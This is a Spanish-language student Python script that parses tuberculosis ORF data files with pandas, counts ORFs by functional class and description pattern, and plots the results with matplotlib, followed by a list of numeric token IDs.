PEC4-Oscar_Rojo.py | zumaia/PEC_4 | 0 | 178502 | <reponame>zumaia/PEC_4
# # Ejercicio
#
# Primero, será necesario que leáis los archivos facilitados de la forma más óptima teniendo en cuenta las tareas pedidas. Tendréis que justificar vuestra decisión.
# Importo los módulos necesarios
import pandas as pd
import glob
import matplotlib.pyplot as plt
import os
import re
# Pandas me da el siguiente error:
# A value is trying to be set on
# a copy of a slice from a DataFrame.
# Try using .loc[row_indexer,col_indexer] = value instead
# disable chained assignments
pd.options.mode.chained_assignment = None
# ## Carga ficherox "txt"
#
# En este apartado cargo el fichero txt de la carpeta data/orfs leyendo linea a lines, filtrando por lineas, generando sublista, realizando unas transformaciones y generando el dataframe **txt_data**
# In[3]:
# obtengo una lista con todos los txt contenidos en un directorio
txt_files = glob.glob("data/orfs/*.txt")
def read_lists():
"""
Parsear un texto dado por un archivo
Parameters
----------
Returns
-------
data : lista de distas
Parsed data
"""
for i in txt_files:
with open(i) as file:
sublist = []
previous_line = ''
# Genero un patron donde solo me busque la lineas que contengan
# las palabras "begin, funciton, tb_protein, tb_to_tb_evalue, end"
pattern = re.compile(
r'\bbegin\b | \bfunction\b | \btb_protein\b | \btb_to_tb_evalue\b | \bend\b',
flags=re.I | re.X)
for line in file:
# realizo transformaciones
line = line.replace('.', '')
line = line.replace('(', ";(")
line = line.replace('begin;(model', "begin_model")
line = line.replace('end;(model', "end_model")
line = line.replace('))', ")")
line = line.replace(')', "")
line = line.replace('(', "")
line = line.strip()
# Le indico donde comienza y termina cada sublista
if line.startswith(
'begin_model'
) and previous_line.startswith(
'end_model'
):
yield sublist
sublist = []
# Le informo que debe buscar las palabras del patros para
# añadir ilas a la sublista
if pattern.search(line) != None:
# voy añadiendo los datos a la sublista
sublist.append(line.split(';'))
# sublist.append(line)
previous_line = line
# obtengo la sublista
return sublist
# creo una lista vacia para recolectar los datos
data = []
# Realizo una iteración para generar una lista de listas donde en
# cada lista contiene la sublista generadas anteriormente
for sublist in read_lists():
data.append(sublist)
# convierto la lista en un dataframe
def appen_data(data):
"""
Con esta función lo que hago es convertir las listas de la función
anterior en un dataframe.
:param data:
:return:
"""
def countList(data):
"""
Función destinada a obtener el número de listas generadas
:param data: la lista generada anteriormente
:return: el número de listas
"""
return len(data)
# Genero una función para unir las columnas con
# mismo nombre se unan y se separen por ';'
def sjoin(x):
"""
Función generada para fusionar las columnas con mismo nombre
se unan incorporando el detalle de cada una de ellas
y se separen por ";"
:param x: columna a unir
:return: los valores de las columnas unidas
"""
return ';'.join(x[x.notnull()].astype(str))
# Creo un dataframe vacio para agrupar los dataframes
# que generamos con las listas
df_a = pd.DataFrame()
# genero una iteración donde convierto las listas en un dataframe
for i in range(countList(data)):
df_n = pd.DataFrame(data[i]).set_index(0)
# pivoto el dataframe
df_n = df_n.transpose()
# uno las columnas con el mismo nombre
df_n = df_n.groupby(level=0, axis=1).apply(
lambda x: x.apply(sjoin, axis=1))
df_a = df_a.append(df_n)
return df_a
txt_data = appen_data(data)
# selecciono las columnas que me interesab
data_relac_txt = txt_data.iloc[:, [1, 2, 0]]
# las renombro
data_relac_txt.columns = ['ORF', 'relacion_ORF', 'function']
# Separo la columna función en otras
data_relac_txt[['clase',
'name_gem',
'descripcion']] = data_relac_txt['function'].str.split(
",'", expand=True)
# Genero nuevo dataframe seleccionando las columnas que me interesan
df_total = data_relac_txt[['clase',
'name_gem',
'descripcion',
'ORF',
'relacion_ORF']]
# Elimino valores na
df_total = df_total.dropna()
# genero nueva columna donde indico el número de relaciones
# sumando el número de "tb" que hay
df_total['numero de relaciones'] = df_total['relacion_ORF'].str.findall(
r'tb').str.len()
# In[4]:
df_total.head()
# ## Carga fichero "tb_functions.pl"
#
# En este apartado cargo el fichero tb_functions.pl leyendo linea a lines, realizando unas transformaciones y generando el dataframe **df**
# In[5]:
file = 'data/tb_functions.pl'
def parse_file(file):
"""
Parse text at given filepath
Parameters
----------
filepath : str
Filepath for file_object to be parsed
Returns
-------
data : pd.DataFrame
Parsed data
"""
# Cargo el archivo de texto dentro de "content"
with open(file) as f:
content = f.readlines()
content = [x.strip() for x in content]
# creo la lista vaciacreate an empty list to collect the data
events_cl = []
# create an empty list to collect the data
events_fc = []
# this is to filter the lines in the data
for line in content:
# extracto la clase
if 'class([' in line:
line = line.replace('.', '')
line = line.replace('"', '')
line = line.replace(')', '')
line = line.replace('],', '];')
events_cl.append(line.split('('))
# extracto la función
if 'function(' in line:
line = line.replace('").', '"')
line = line.replace(',[', ';[')
line = line.replace("],'", '];"')
line = line.replace("',", '";')
events_fc.append(line.split('('))
# para el caso de las clases
# convierto la lista en dataframe
data_class = pd.DataFrame(events_cl)
# divido la columna en 2 columnas nuevas
data_class[['clase',
'desc']] = data_class[1].str.split(';',
1,
expand=True)
# Selecciono las columnas necesarias
data_class = data_class[['clase', 'desc']]
# Para el caso de las funciones
# convierto la lista en dataframe
data_fc = pd.DataFrame(events_fc)
# divido la columna en 2 columnas nuevas
data_fc[['ORF',
'clase',
'name_gem',
'desc_ORF']] = data_fc[1].str.split(';',
3,
expand=True)
# Selecciono las columnas necesarias
data_fc = data_fc[['ORF', 'clase', 'name_gem', 'desc_ORF']]
# los 2 dataframes
df = pd.merge(data_class, data_fc, on='clase', how='outer')
return df
# Genero el dataframe con el fichero 'tb_fuctions.plt'
df = parse_file('data/tb_functions.pl')
# 1.1 Calcular cuántos ORFs pertenecen a cada clase.
# In[6]:
def grafico(x):
"""
Función destinada a generar la gráfica para reproducir los
ORFs que pertenecen a cada clase
:param x: introducimos el valor
:returns obtenemos la gráfica
"""
ax = x.plot(kind='barh', figsize=(8, 20), color='#86bf91',
zorder=2, width=0.85)
# Despine
ax.spines['right'].set_visible(False)
ax.spines['top'].set_visible(False)
ax.spines['left'].set_visible(False)
ax.spines['bottom'].set_visible(False)
# Switch off ticks
ax.tick_params(axis="both", which="both",
bottom="off", top="off", labelbottom="on",
left="off", right="off", labelleft="on")
# Draw vertical axis lines
vals = ax.get_xticks()
for tick in vals:
ax.axvline(x=tick, linestyle='dashed', alpha=0.3,
color='#eeeeee', zorder=1)
[ax.text(v, i, '{}'.format(v)) for i, v in enumerate(x)]
# Set x-axis labe
ax.set_xlabel("Número de ORF", labelpad=20, weight='bold', size=12)
# Set y-axis label
ax.set_ylabel("Clase", labelpad=20, weight='bold', size=12)
plt.savefig(f"./graficos/numero_ORF.png")
plt.show()
plt.close()
# In[7]:
def primera_grafica():
# Agrupo las clases y cuento el número de ORF
group_clase_count = df.groupby(['clase'])['ORF'].count()
# Aplico la función al resultado.
grafico(group_clase_count)
primera_grafica()
# 1.2 Dado que el B<NAME> Koch afecta sobre todo a los pulmones, queremos que mostréis por pantalla cuántos ORFs pertenecen a la clase que tiene Respiration como descripción. Mostrad el resultado por pantalla debidamente formateado (utilizando el método format() u otro similar), incluyendo un mensaje explicativo de los valores que enseñáis.
# In[8]:
def result_respir():
result_respiration = df[df.desc.str.contains(
'Respiration', case=False)].sum()
print(
"El Nº de ORF incluidos en la clase con descripción "
"'Respiration' es: {} \n\n".
format(result_respiration['ORF']))
result_respir()
# 2.1 El número de clases que contienen como mínimo un ORF con el patrón indicado en su descripción.
# In[9]:
# Genero una función para mostrar en pantalla el
# esultado de este ejercicio
def plot_pie(x, names):
"""
Genero una función donde obtengo en formato tarta el
número de clases
:param x_protein:
:param names: el patrón correspondiente
:return:
"""
# eliminio el index
x = x.reset_index()
# convierto un dataframe solo con el campo seleccionado
x = pd.DataFrame(x)['desc_ORF']
x.index += 1
x.plot.pie(figsize=(8, 8))
plt.title(f"El Nº de clases con mínimo de 1 ORF con patron "
f"${names}$", fontsize=14, weight="bold")
plt.ylabel("Porcion clase sobre total")
plt.xlabel("Total clases: {}".format(len(x)))
# guardo la gráfoca en un lugar adecuado
plt.savefig(f"./graficos/grafica_patron_{names}.png")
# muestro en pantalla
plt.show()
plt.close()
return plot_pie
# In[10]:
def num_clases_protein():
des_ORF_protein = df[df['desc_ORF'].str.contains(r'protein', re.IGNORECASE,
regex=False, na=False)]
protein = des_ORF_protein.groupby(['clase'])['desc_ORF'].count()
numero = len(protein)
print(
"El número de clases que contienen como mínimo un ORF con el patron "
"'que contiene el término protein'. {} \n\n". format(numero))
# aplico la función al resultado anterior
plot_pie(protein, 'proteina')
num_clases_protein()
# In[11]:
def num_clases_hydro():
"""
:return:
"""
# Busco las palabras que contengan 13 caracteres
ORF_hydro_13 = df[df['desc_ORF'].str.contains(r'\b\w{13}\b') == True]
# dentro de ese resultado, que me ofrezca los que contienen
# la palabra 'hydro'
ORF_hydro_13 = ORF_hydro_13[ORF_hydro_13['desc_ORF'].str.contains(
r'hydro') == True]
hydro = ORF_hydro_13.groupby(['clase'])['desc_ORF'].count()
numero = len(hydro)
print(
"El número de clases según el segundo patron es {} \n\n".format(numero))
plot_pie(hydro, 'hydro')
num_clases_hydro()
# 2.2 El número promedio de ORFs con los cuales se relacionan los ORFs con el patrón indicado en su descripción.
# In[12]:
# Genero la función para las gráficas de los promedios
def graf_relac(x, names):
"""
Función destinada a generar las gráficas de los promedios de relaciones
según el patrón correspondiente
:param x: el datafame de los ORF con el número de relaciones
:param names: Indicamos el patron
:return: la gráfica
"""
x.plot.barh('ORF', 'numero de relaciones', figsize=(8, 10))
# muestro en patalla la media
plt.axvline(x['numero de relaciones'].mean(),
color='r', linestyle='--', label='media')
# la leyenda en la parte superior derecha
plt.legend(loc='upper right')
# titulo
plt.title(f"Nº de ORF relacionados con otro ORF y su promedio ${names}$",
fontsize=14,
weight="bold")
# etiquetas
plt.xlabel("Nº de ORF")
plt.ylabel("ORF")
# guardo en fichero png la gŕafica
plt.savefig(f"./graficos/grafica_relaciones_patron_{names}.png")
# muestro en pantalla
plt.show()
# cierro
plt.close()
return plot_pie
# In[13]:
def promedio_patron_protein():
"""
:return:
"""
# filtro los valores que contengan la palabra 'protein'
df_total_protein = df_total[df_total['descripcion'].str.contains(
r'protein', regex=False, na=False)]
# selecciono 2 columnas
prome_relac_protein = df_total_protein[['ORF', 'numero de relaciones']]
# obtengo la media
n_prome_relac_protein = float(
df_total_protein[['numero de relaciones']].mean())
# muestro el resultado
print("El número promedio de ORFs con los cuales se relacionan los"
"ORFs con el patron 'que contiene el término protein'"
" {} \n\n".format(n_prome_relac_protein))
# aplico la función a los datos obtenidos
graf_relac(prome_relac_protein, ' proteina')
promedio_patron_protein()
# In[14]:
def promedio_patron_hydro():
"""
:return:
"""
df_total_hydro = df_total[df_total['descripcion'].str.contains(
r'\b\w{13}\b') == True]
df_total_hydro = df_total_hydro[df_total_hydro['descripcion'].str.contains(
r'hydro') == True]
n_prome_relac_hydro = float(df_total_hydro[['numero de relaciones']].mean())
print("El número promedio de ORFs con los cuales se relacionan"
"los ORFs según el segundo patron es: {} \n\n".format(n_prome_relac_hydro))
graf_relac(df_total_hydro, 'hydro')
promedio_patron_hydro()
#
# 3. Para cada entero M entre 2 y 9 (ambos incluidos), calcula el número de clases que tienen como mínimo una *dimensión* mayor estricta (>) que 0 y a la vez múltiple de M. Con el término dimensión nos referimos a cada uno de los 4 números que forman el identificador de la clase (explicado en la sección anterior). Este cálculo tendrá que resultar en algo como:
# ```
# M=2: ? clases
# M=3: ? clases
# ...
# M=9: ? clases
# ```
# donde ? representa un entero.
def clases_condicional():
"""
Función destinada a obtener el número de clases
:return:
número de clases que tienen como mínimo una dimensión
mayor estricta (>) que 0 y a la vez múltiple de M entre 2 y 9.
"""
# Selecciono la columna clase del dataframe y realizo unas modificaciones
df['clase'] = df['clase'].str.replace('[', '').str.replace(']', '').str.replace("''", "")
# obtengo una lista de las cláses únicas
clase_uniq = df['clase'].unique().tolist()
# Genero una lista vacia
lista = []
print("Para cada entero M entre 2 y 9 (ambos incluidos),"
"calcula el número de clases que tienen como mínimo"
"una *dimensión* mayor estricta (>) que 0 y a la vez"
"múltiple de M.")
# Realizo una iteración para generar una lista de listas
# selecciono cada uno de los valores de las lista
for j in range(len(clase_uniq)):
# divido el elemento correspondiente
x = clase_uniq[j].split(',')
# convierto el str en int
x = [int(i) for i in x]
# añado a la nueva lista
lista.append(x)
# genero una iteración para obtener el resultado solicitado
for i in range(2, 10):
# genero una lista vacia
res = []
# any() usado para filtrar elementos
# selecciono las que tienen al menos un 0
lista_zero = [sub for sub in lista if(any(ele > 0 for ele in sub))]
# para evitar que a la hora de ejecutar el siguiente condicionante
# me selecciono el valor 0 ya que '0%i==0' y me lo contaría
# sustituyo su valor por -1
lista_zeros = [[-1 if x == 0 else x for x in y] for y in lista_zero]
# seleccion las listas que es multiple por M
res = [subs for subs in lista_zeros if(any(
ele % i == 0 for ele in subs))]
# imprimo el resultado según el formato solicitado
print("M = {}: ".format(i) + str(len(res)) + " clases")
# Ejecuto la función
clases_condicional()
| [
1,
529,
276,
1112,
420,
29958,
29920,
10859,
423,
29914,
4162,
29907,
29918,
29946,
13,
29937,
396,
26087,
6269,
11088,
13,
29937,
29871,
13,
29937,
9724,
1489,
29892,
724,
29976,
16632,
2628,
712,
454,
29976,
275,
1232,
3190,
12927,
16089,
277,
2255,
316,
425,
5954,
3627,
17604,
415,
2946,
3006,
17008,
427,
21052,
1869,
260,
598,
294,
8939,
8817,
29889,
323,
355,
5606,
275,
712,
925,
928,
279,
18679,
8505,
1602,
11861,
29889,
13,
13,
13,
13,
29937,
16032,
29877,
1232,
286,
4431,
19733,
16632,
8596,
13,
5215,
11701,
408,
10518,
13,
5215,
13149,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
5215,
2897,
13,
5215,
337,
13,
13,
13,
13,
13,
29937,
349,
7086,
592,
1146,
560,
18436,
1059,
29901,
13,
29937,
319,
995,
338,
1811,
304,
367,
731,
373,
13,
29937,
263,
3509,
310,
263,
22780,
515,
263,
3630,
4308,
29889,
13,
29937,
3967,
773,
869,
2029,
29961,
798,
29918,
2248,
261,
29892,
1054,
29918,
2248,
261,
29962,
353,
995,
2012,
13,
29937,
11262,
521,
7114,
3566,
1860,
13,
15926,
29889,
6768,
29889,
8513,
29889,
305,
7114,
29918,
465,
10194,
353,
6213,
13,
13,
13,
29937,
444,
315,
21899,
285,
436,
1489,
29916,
376,
3945,
29908,
13,
29937,
29871,
13,
29937,
1174,
4404,
12435,
912,
17040,
560,
285,
436,
1489,
13872,
316,
425,
1559,
29886,
1187,
848,
29914,
4877,
29879,
454,
29891,
2765,
26241,
263,
3454,
29892,
977,
509,
1743,
1277,
1196,
294,
29892,
1176,
1743,
1014,
19641,
29892,
8869,
1743,
443,
294,
4327,
6027,
343,
1176,
1743,
560,
12205,
3579,
3945,
29918,
1272,
1068,
13,
13,
29937,
512,
29961,
29941,
5387,
13,
13,
13,
29937,
16219,
1484,
1185,
15023,
378,
10843,
1232,
13872,
16962,
4396,
427,
443,
8881,
601,
13,
3945,
29918,
5325,
353,
13149,
29889,
23705,
703,
1272,
29914,
4877,
29879,
5515,
29889,
3945,
1159,
13,
13,
13,
1753,
1303,
29918,
21513,
7295,
13,
1678,
9995,
13,
1678,
20969,
279,
443,
1426,
29877,
270,
912,
1277,
443,
3190,
4243,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
848,
584,
15023,
316,
1320,
294,
13,
4706,
1459,
8485,
848,
13,
13,
1678,
9995,
13,
1678,
363,
474,
297,
13872,
29918,
5325,
29901,
13,
4706,
411,
1722,
29898,
29875,
29897,
408,
934,
29901,
13,
9651,
1014,
1761,
353,
5159,
13,
9651,
3517,
29918,
1220,
353,
6629,
13,
9651,
396,
3251,
29877,
443,
18259,
8334,
6651,
592,
3593,
802,
425,
1196,
294,
712,
640,
996,
273,
13,
9651,
396,
1869,
27555,
3417,
376,
463,
29892,
3653,
277,
265,
29892,
260,
29890,
29918,
14676,
262,
29892,
260,
29890,
29918,
517,
29918,
22625,
29918,
29872,
1767,
29892,
1095,
29908,
13,
9651,
4766,
353,
337,
29889,
12198,
29898,
13,
18884,
364,
12764,
29890,
463,
29905,
29890,
891,
320,
1635,
651,
29905,
29890,
891,
320,
3116,
29890,
29918,
14676,
262,
29905,
29890,
891,
320,
3116,
29890,
29918,
517,
29918,
22625,
29918,
29872,
1767,
29905,
29890,
891,
320,
29890,
355,
29905,
29890,
742,
13,
18884,
13449,
29922,
276,
29889,
29902,
891,
337,
29889,
29990,
29897,
13,
9651,
363,
1196,
297,
934,
29901,
13,
18884,
396,
8869,
29877,
4327,
6027,
13,
18884,
1196,
353,
1196,
29889,
6506,
12839,
742,
27255,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
29317,
12159,
703,
29897,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
463,
29936,
29898,
4299,
742,
376,
463,
29918,
4299,
1159,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
355,
29936,
29898,
4299,
742,
376,
355,
29918,
4299,
1159,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
876,
742,
16521,
1159,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
29897,
742,
20569,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
29317,
20569,
13,
18884,
1196,
353,
1196,
29889,
17010,
580,
13,
18884,
396,
951,
1399,
1417,
8334,
419,
24880,
343,
1840,
1099,
9747,
1014,
19641,
13,
18884,
565,
1196,
29889,
27382,
2541,
29898,
13,
462,
462,
1678,
525,
463,
29918,
4299,
29915,
13,
462,
462,
1678,
1723,
322,
3517,
29918,
1220,
29889,
27382,
2541,
29898,
13,
462,
462,
1678,
525,
355,
29918,
4299,
29915,
13,
462,
462,
268,
1125,
13,
462,
1678,
7709,
1014,
1761,
13,
462,
1678,
1014,
1761,
353,
5159,
13,
18884,
396,
951,
1871,
29877,
712,
27021,
3593,
4287,
1869,
27555,
3417,
628,
2373,
1883,
1702,
13,
18884,
396,
4503,
328,
381,
980,
294,
263,
425,
1014,
19641,
13,
18884,
565,
4766,
29889,
4478,
29898,
1220,
29897,
2804,
6213,
29901,
13,
462,
1678,
396,
12278,
4503,
10129,
2765,
1232,
18683,
263,
425,
1014,
19641,
13,
462,
1678,
1014,
1761,
29889,
4397,
29898,
1220,
29889,
5451,
877,
29936,
8785,
13,
18884,
396,
1014,
1761,
29889,
4397,
29898,
1220,
29897,
13,
18884,
3517,
29918,
1220,
353,
1196,
13,
9651,
396,
16219,
1484,
425,
1014,
19641,
13,
9651,
736,
1014,
1761,
13,
13,
13,
29937,
907,
29877,
1185,
15023,
11757,
423,
1702,
337,
1111,
781,
279,
1232,
18683,
13,
1272,
353,
5159,
13,
13,
29937,
8195,
11411,
1185,
372,
1572,
1290,
1702,
1176,
279,
1185,
15023,
316,
1051,
294,
8334,
427,
13,
29937,
9747,
15023,
8651,
425,
1014,
19641,
1176,
3922,
14123,
2689,
13,
1454,
1014,
1761,
297,
1303,
29918,
21513,
7295,
13,
1678,
848,
29889,
4397,
29898,
1491,
1761,
29897,
13,
13,
29937,
378,
7214,
517,
425,
15023,
427,
443,
12205,
13,
1753,
623,
264,
29918,
1272,
29898,
1272,
1125,
13,
1678,
9995,
13,
1678,
1281,
7444,
2090,
1290,
658,
712,
298,
4425,
831,
3588,
381,
1869,
1051,
294,
316,
425,
2090,
1290,
13,
1678,
14123,
427,
443,
12205,
29889,
13,
1678,
584,
3207,
848,
29901,
13,
1678,
584,
2457,
29901,
13,
1678,
9995,
13,
1678,
822,
2302,
1293,
29898,
1272,
1125,
13,
4706,
9995,
13,
4706,
13811,
1290,
15422,
1114,
263,
14403,
759,
560,
13831,
316,
1051,
294,
1176,
3922,
13,
4706,
584,
3207,
848,
29901,
425,
15023,
1176,
1114,
14123,
2689,
13,
4706,
584,
2457,
29901,
560,
13831,
316,
1051,
294,
13,
4706,
9995,
13,
4706,
736,
7431,
29898,
1272,
29897,
13,
1678,
396,
3251,
29877,
1185,
2090,
1290,
1702,
443,
381,
1869,
1897,
294,
378,
13,
1678,
396,
11329,
5419,
409,
443,
273,
343,
409,
2903,
264,
1277,
21921,
29915,
13,
13,
1678,
822,
269,
7122,
29898,
29916,
1125,
13,
4706,
9995,
13,
4706,
13811,
1290,
1176,
1114,
1702,
21736,
279,
1869,
1897,
294,
378,
11329,
5419,
13,
4706,
409,
443,
273,
11039,
1743,
560,
1439,
3498,
316,
9747,
1185,
316,
12302,
294,
13,
4706,
343,
409,
2903,
264,
1277,
12159,
29908,
13,
4706,
584,
3207,
921,
29901,
784,
398,
1056,
263,
443,
381,
13,
4706,
584,
2457,
29901,
1232,
659,
2361,
316,
1869,
1897,
294,
443,
8817,
13,
4706,
9995,
13,
4706,
736,
21921,
4286,
7122,
29898,
29916,
29961,
29916,
29889,
1333,
4304,
580,
1822,
579,
668,
29898,
710,
876,
13,
1678,
396,
6760,
29877,
443,
12205,
2947,
3934,
1702,
946,
582,
862,
1232,
848,
19935,
13,
1678,
396,
712,
1176,
14054,
378,
1869,
1051,
294,
13,
1678,
4489,
29918,
29874,
353,
10518,
29889,
17271,
580,
13,
1678,
396,
1176,
29877,
1185,
372,
1572,
1290,
8334,
378,
7214,
517,
1869,
1051,
294,
427,
443,
12205,
13,
1678,
363,
474,
297,
3464,
29898,
2798,
1293,
29898,
1272,
22164,
13,
4706,
4489,
29918,
29876,
353,
10518,
29889,
17271,
29898,
1272,
29961,
29875,
14664,
842,
29918,
2248,
29898,
29900,
29897,
13,
4706,
396,
282,
440,
3747,
560,
12205,
13,
4706,
4489,
29918,
29876,
353,
4489,
29918,
29876,
29889,
3286,
4220,
580,
13,
4706,
396,
6888,
1869,
1897,
294,
378,
560,
11329,
5419,
13,
4706,
4489,
29918,
29876,
353,
4489,
29918,
29876,
29889,
27789,
29898,
5563,
29922,
29900,
29892,
9685,
29922,
29896,
467,
7302,
29898,
13,
9651,
14013,
921,
29901,
921,
29889,
7302,
29898,
29879,
7122,
29892,
9685,
29922,
29896,
876,
13,
4706,
4489,
29918,
29874,
353,
4489,
29918,
29874,
29889,
4397,
29898,
2176,
29918,
29876,
29897,
13,
1678,
736,
4489,
29918,
29874,
13,
13,
3945,
29918,
1272,
353,
623,
264,
29918,
1272,
29898,
1272,
29897,
13,
13,
29937,
16954,
22643,
29877,
1869,
1897,
294,
712,
592,
1006,
267,
370,
13,
1272,
29918,
276,
4620,
29918,
3945,
353,
13872,
29918,
1272,
29889,
309,
542,
7503,
29892,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29900,
5262,
13,
13,
29937,
1869,
4325,
3424,
307,
13,
1272,
29918,
276,
4620,
29918,
3945,
29889,
13099,
353,
6024,
1955,
29943,
742,
525,
276,
4620,
291,
29918,
1955,
29943,
742,
525,
2220,
2033,
13,
13,
29937,
922,
862,
29877,
425,
784,
398,
1056,
2090,
1290,
427,
16255,
13,
1272,
29918,
276,
4620,
29918,
3945,
29961,
1839,
695,
559,
742,
13,
18884,
525,
978,
29918,
17797,
742,
13,
18884,
525,
2783,
699,
6739,
291,
2033,
29962,
353,
848,
29918,
276,
4620,
29918,
3945,
1839,
2220,
13359,
710,
29889,
5451,
29898,
13,
18884,
376,
5501,
613,
7985,
29922,
5574,
29897,
13,
13,
29937,
3251,
29877,
15671,
12205,
16954,
22643,
1743,
1869,
1897,
294,
712,
592,
1006,
267,
273,
13,
2176,
29918,
7827,
353,
848,
29918,
276,
4620,
29918,
3945,
29961,
1839,
695,
559,
742,
13,
462,
965,
525,
978,
29918,
17797,
742,
13,
462,
965,
525,
2783,
699,
6739,
291,
742,
13,
462,
965,
525,
1955,
29943,
742,
13,
462,
965,
525,
276,
4620,
291,
29918,
1955,
29943,
2033,
29962,
13,
29937,
1260,
326,
1789,
659,
2361,
1055,
13,
2176,
29918,
7827,
353,
4489,
29918,
7827,
29889,
8865,
1056,
580,
13,
29937,
1176,
29877,
22288,
784,
398,
1056,
8334,
1399,
1417,
560,
13831,
316,
14552,
2884,
13,
29937,
2533,
1743,
560,
13831,
316,
376,
22625,
29908,
712,
14842,
13,
2176,
29918,
7827,
1839,
1949,
1489,
316,
14552,
2884,
2033,
353,
4489,
29918,
7827,
1839,
276,
4620,
291,
29918,
1955,
29943,
13359,
710,
29889,
2886,
497,
29898,
13,
1678,
364,
29915,
22625,
2824,
710,
29889,
2435,
580,
13,
13,
13,
29937,
512,
29961,
29946,
5387,
13,
13,
13,
2176,
29918,
7827,
29889,
2813,
580,
13,
13,
13,
29937,
444,
315,
21899,
285,
436,
1489,
376,
22625,
29918,
12171,
29889,
572,
29908,
13,
29937,
29871,
13,
29937,
1174,
4404,
12435,
912,
17040,
560,
285,
436,
1489,
260,
29890,
29918,
12171,
29889,
572,
454,
29891,
2765,
26241,
263,
3454,
29892,
8869,
1743,
443,
294,
4327,
6027,
343,
1176,
1743,
560,
12205,
3579,
2176,
1068,
13,
13,
29937,
512,
29961,
29945,
5387,
13,
13,
13,
1445,
353,
525,
1272,
29914,
22625,
29918,
12171,
29889,
572,
29915,
13,
13,
13,
1753,
6088,
29918,
1445,
29898,
1445,
1125,
13,
1678,
9995,
13,
1678,
20969,
1426,
472,
2183,
934,
2084,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
934,
2084,
584,
851,
13,
4706,
3497,
2084,
363,
934,
29918,
3318,
304,
367,
21213,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
848,
584,
10518,
29889,
17271,
13,
4706,
1459,
8485,
848,
13,
13,
1678,
9995,
13,
1678,
396,
315,
7921,
560,
3190,
4243,
316,
1426,
29877,
16018,
316,
376,
3051,
29908,
13,
1678,
411,
1722,
29898,
1445,
29897,
408,
285,
29901,
13,
4706,
2793,
353,
285,
29889,
949,
9012,
580,
13,
13,
4706,
2793,
353,
518,
29916,
29889,
17010,
580,
363,
921,
297,
2793,
29962,
13,
13,
4706,
396,
907,
29877,
425,
15023,
11757,
423,
3258,
385,
4069,
1051,
304,
6314,
278,
848,
13,
4706,
4959,
29918,
695,
353,
5159,
13,
4706,
396,
1653,
385,
4069,
1051,
304,
6314,
278,
848,
13,
4706,
4959,
29918,
13801,
353,
5159,
13,
13,
4706,
396,
445,
338,
304,
4175,
278,
3454,
297,
278,
848,
13,
4706,
363,
1196,
297,
2793,
29901,
13,
9651,
396,
6597,
29877,
425,
1067,
559,
13,
9651,
565,
525,
1990,
18959,
297,
1196,
29901,
13,
18884,
1196,
353,
1196,
29889,
6506,
12839,
742,
27255,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
29908,
742,
27255,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
29897,
742,
27255,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
1402,
742,
525,
1385,
1495,
13,
18884,
4959,
29918,
695,
29889,
4397,
29898,
1220,
29889,
5451,
877,
877,
876,
13,
9651,
396,
6597,
29877,
425,
2090,
1290,
13,
9651,
565,
525,
2220,
877,
297,
1196,
29901,
13,
18884,
1196,
353,
1196,
29889,
6506,
877,
2564,
742,
18793,
1495,
13,
18884,
1196,
353,
1196,
29889,
6506,
29317,
29961,
742,
21921,
29961,
1495,
13,
18884,
1196,
353,
1196,
29889,
6506,
703,
1402,
29915,
613,
525,
1385,
29908,
1495,
13,
18884,
1196,
353,
1196,
29889,
6506,
703,
742,
613,
525,
1769,
1495,
13,
18884,
4959,
29918,
13801,
29889,
4397,
29898,
1220,
29889,
5451,
877,
877,
876,
13,
13,
4706,
396,
1702,
560,
11986,
316,
1869,
1067,
2129,
13,
4706,
396,
378,
7214,
517,
425,
15023,
427,
12205,
13,
4706,
848,
29918,
1990,
353,
10518,
29889,
17271,
29898,
13604,
29918,
695,
29897,
13,
4706,
396,
1933,
1941,
425,
784,
398,
1056,
427,
29871,
29906,
1897,
294,
8005,
4428,
13,
4706,
848,
29918,
1990,
29961,
1839,
695,
559,
742,
13,
462,
1678,
525,
14273,
2033,
29962,
353,
848,
29918,
1990,
29961,
29896,
1822,
710,
29889,
5451,
877,
29936,
742,
13,
462,
462,
462,
4706,
29896,
29892,
13,
462,
462,
462,
539,
7985,
29922,
5574,
29897,
13,
4706,
396,
28051,
22643,
29877,
1869,
1897,
294,
16632,
20225,
13,
4706,
848,
29918,
1990,
353,
848,
29918,
1990,
29961,
1839,
695,
559,
742,
525,
14273,
2033,
29962,
13,
4706,
396,
12994,
560,
11986,
316,
1869,
3653,
2884,
13,
4706,
396,
378,
7214,
517,
425,
15023,
427,
12205,
13,
4706,
848,
29918,
13801,
353,
10518,
29889,
17271,
29898,
13604,
29918,
13801,
29897,
13,
4706,
396,
1933,
1941,
425,
784,
398,
1056,
427,
29871,
29906,
1897,
294,
8005,
4428,
13,
4706,
848,
29918,
13801,
29961,
1839,
1955,
29943,
742,
13,
462,
525,
695,
559,
742,
13,
462,
525,
978,
29918,
17797,
742,
13,
462,
525,
14273,
29918,
1955,
29943,
2033,
29962,
353,
848,
29918,
13801,
29961,
29896,
1822,
710,
29889,
5451,
877,
29936,
742,
13,
462,
462,
462,
418,
29941,
29892,
13,
462,
462,
462,
268,
7985,
29922,
5574,
29897,
13,
4706,
396,
28051,
22643,
29877,
1869,
1897,
294,
16632,
20225,
13,
4706,
848,
29918,
13801,
353,
848,
29918,
13801,
29961,
1839,
1955,
29943,
742,
525,
695,
559,
742,
525,
978,
29918,
17797,
742,
525,
14273,
29918,
1955,
29943,
2033,
29962,
13,
4706,
396,
1232,
29871,
29906,
848,
19935,
13,
4706,
4489,
353,
10518,
29889,
14634,
29898,
1272,
29918,
1990,
29892,
848,
29918,
13801,
29892,
373,
2433,
695,
559,
742,
920,
2433,
5561,
1495,
13,
13,
1678,
736,
4489,
13,
13,
13,
29937,
3251,
29877,
560,
12205,
378,
560,
285,
436,
1489,
525,
22625,
29918,
21154,
1953,
29889,
572,
29873,
